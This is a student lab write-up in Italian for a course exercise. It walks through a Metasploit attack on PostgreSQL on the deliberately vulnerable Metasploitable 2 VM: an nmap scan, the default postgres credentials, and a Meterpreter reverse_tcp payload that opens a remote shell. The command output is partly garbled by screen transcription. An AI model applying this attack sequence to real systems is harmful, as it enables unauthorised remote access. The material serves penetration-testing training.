S7/L3

L'esercizio di oggi chiede di completare una sessione di hacking usando il modulo exploit/linux/postgres/postgres_payload sul servizio PostgreSQL di Metasploitable 2.

Come prima cosa dobbiamo configurare gli indirizzi IP delle macchine

Su meta basterà andare all'interno del file che si trova in /etc/network/interfaces

```
valid_lft forever preferred_lft forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 19
link/ether 08:00:27:47:ab:3e brd ff:ff:ff:ff
inet 192.168.1.40/24 brd 192.168.1.255 scope
inet6 fe80::a00:27ff:fe47:ab3e/64 scope link
    valid_lft forever preferred_lft forever
?admin@metasploitable:~$
```

Su Kali invece utilizziamo il commando che si vede nella foto.

```
File Actions Edit View Help

(kali@kali)-[~]

Sudo ifconfig eth0 192.168.1.25

[sudo] password for kali:

(kali@kali)-[~]

ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNu link/loopback 00:00:00:00:00 brd 00:00:00:00:00

inet 127.0.0.1/8 scope host lo

valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute

valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_cod link/ether 08:00:27;ad:25:87 brd ff:fff:ff:ff:ff

inet 192.168.1.25/24 brd 192.168.1.255 scope global eth0

valid_lft forever preferred_lft forever

inet6 fe80::a00:27ff:fead:2587/64 scope link proto kernel_ll

valid_lft forever preferred_lft forever

(kali@kali)-[~]
```

Infatti poi verifichiamo con il Ping e funziona.

```
(kali® kali)-[~]

$ ping 192.168.1.40

PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.603 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.372 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.368 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.358 ms

^C

— 192.168.1.40 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3099ms
rtt min/avg/max/mdev = 0.358/0.425/0.603/0.102 ms

— (kali® kali)-[~]
```

Per avviare la console scriviamo nel terminale msfconsole.

Essendo che il servizio che dobbiamo sfruttare non lo conosciamo facciamo una piccola ricerca su Google e scopriamo che in teoria di default utilizza la porta 5432 verifichiamo andando a fare una scansione con nmap.

```
(kali® kali)-[~]
$ nmap -p 5432 192.168.1.40

Starting Nmap 7.94SVN ( https://nmap.or

Nmap scan report for 192.168.1.40

Host is up (0.0046s latency).

PORT STATE SERVICE

5432/tcp open postgresql

Nmap done: 1 IP address (1 host up) sca
```

Fatto questo possiamo avviare msfconsole e cerchiamo l'exploit fornito dall'esercizio.

```
msf6 exploit(linux/postgres/postgres_payload) >
```

Una volta trovato dobbiamo scegliere ora il payload da usare scriviamo <mark>show payloads</mark> per vederli tutti.

```
16 payload/linux/x86/meterpreter/reverse_tcp
```

Utilizzeremo questo quindi digitiamo set payload 16.

```
msf6 exploit(linux/postgres/postgres_payload) > set payload 16
payload ⇒ linux/x86/meterpreter/reverse_tcp
```

Ora dobbiamo vedere le opzioni quindi digitiamo show options.

```
Current Setting Required Description
   Name
   DATABASE postgres
                                         The database to authenticate again
   PASSWORD postgres
                              no
                                         The password for the specified use
   RHOSTS
                              no
                                         The target host(s), see https://do
   RPORT
             5432
                              no
                                         The target port
   USERNAME postgres
                              no
                                         The username to authenticate as
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name
          Current Setting Required Description
   LHOST
                                      The listen address (an interface may
                            ves
   LPORT: 4444
                                      The listen port
                            yes
Exploit target:
   Id Name
       Linux x86
View the full module info with the info, or info -d command.
msf6 exploit(linux/nost
                                  res_payload) > set rhost 192.168.1.40
rhost ⇒ 192.168.1.40
                                 gres_payload) > set lhost 192.168.1.25
msf6 exploit(l;
_______
lhost ⇒ 192.168.1.25
<u>msf6</u> exploit(<mark>linux/pos</mark>
```

Come vediamo abbiamo inserito i 2 IP delle nostre macchine.

Quindi ora possiamo far partire scrivendo exploit.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compile
[*] Uploaded as /tmp/IrDmvTHU.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:43
```

Come possiamo notare l'exploit è andato a buon fine ed e stata aperta una sessione.

```
meterpreter > mkdir iminside
Creating directory: iminside
```

Creiamo una directory all'interno è poi scriviamo ls e avremmo un output così:

```
meterpreter > ls
Listing: /var/lib/postgresql/8.3/main
Mode
                  Size
                        Type
                               Last modified
                                                           Name
100600/rw-
                        fil
                               2010-03-17 10:08:46 -0400
                                                           PG_VERSION
                  4
040700/rwx-
                  4096
                               2010-03-17 10:08:56 -0400
                        dir
                                                          base
040700/rwx-
                  4096
                        dir
                               2025-01-22 10:11:31 -0500
                                                          global
040700/rwx-
                  4096
                        dir
                               2025-01-22 10:11:43 -0500
                                                          iminside
040700/rwx-
                  4096
                        dir
                               2010-03-17 10:08:49 -0400
                                                           pg_clog
                               2010-03-17 10:08:46 -0400
040700/rwx-
                  4096
                        dir
                                                           pg_multixact
                               2010-03-17 10:08:49 -0400
040700/rwx-
                  4096
                        dir
                                                          pg_subtrans
040700/rwx-
                  4096
                        dir
                               2010-03-17 10:08:46 -0400
                                                          pg_tblspc
040700/rwx-
                  4096
                        dir
                               2010-03-17 10:08:46 -0400
                                                          pg_twophase
                  4096
                        dir
                               2010-03-17 10:08:49 -0400
040700/rwx-
                                                          pg_xlog
100600/rw-
                  125
                        fil
                               2025-01-22 09:41:30 -0500
                                                          postmaster.opts
                        fil
100600/rw-
                  54
                               2025-01-22 09:41:30 -0500
                                                          postmaster.pid
                        fil
100644/rw-r--r--
                  540
                               2010-03-17 10:08:45 -0400
                                                          root.crt
                        fil
                               2010-03-17 10:07:45 -0400
100644/rw-r--r--
                  1224
                                                          server.crt
100640/rw-r-
                  891
                        fil
                               2010-03-17 10:07:45 -0400
                                                          server.kev
```

Come vediamo la directory è stata creata con successo ma per verificare completamente andiamo a controllare anche da metasploitable.

```
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# cd /var/lib/postgresql/8.3/main
root@metasploitable:/var/lib/postgresql/8.3/main# ls
base
          pg_clog
                        pg_tblspc
                                     pg_xlog
                                                      root.crt
                        pg_twophase
          pg_multixact
αlobal
                                     postmaster.opts
                                                      server.crt
                        PG_VERSION
iminside pg_subtrans
                                     postmaster.pid
                                                      server.key
root@metasploitable:/var/lib/postgresql/8.3/main#
                                             👩 🦱 🗽 🗗 🐼 🔚 🗇 💆 📆 CTRI
```

Come possiamo notare anche da metasploitable risulta la directory quindi possiamo considerare la nostra sessione andata a buon fine.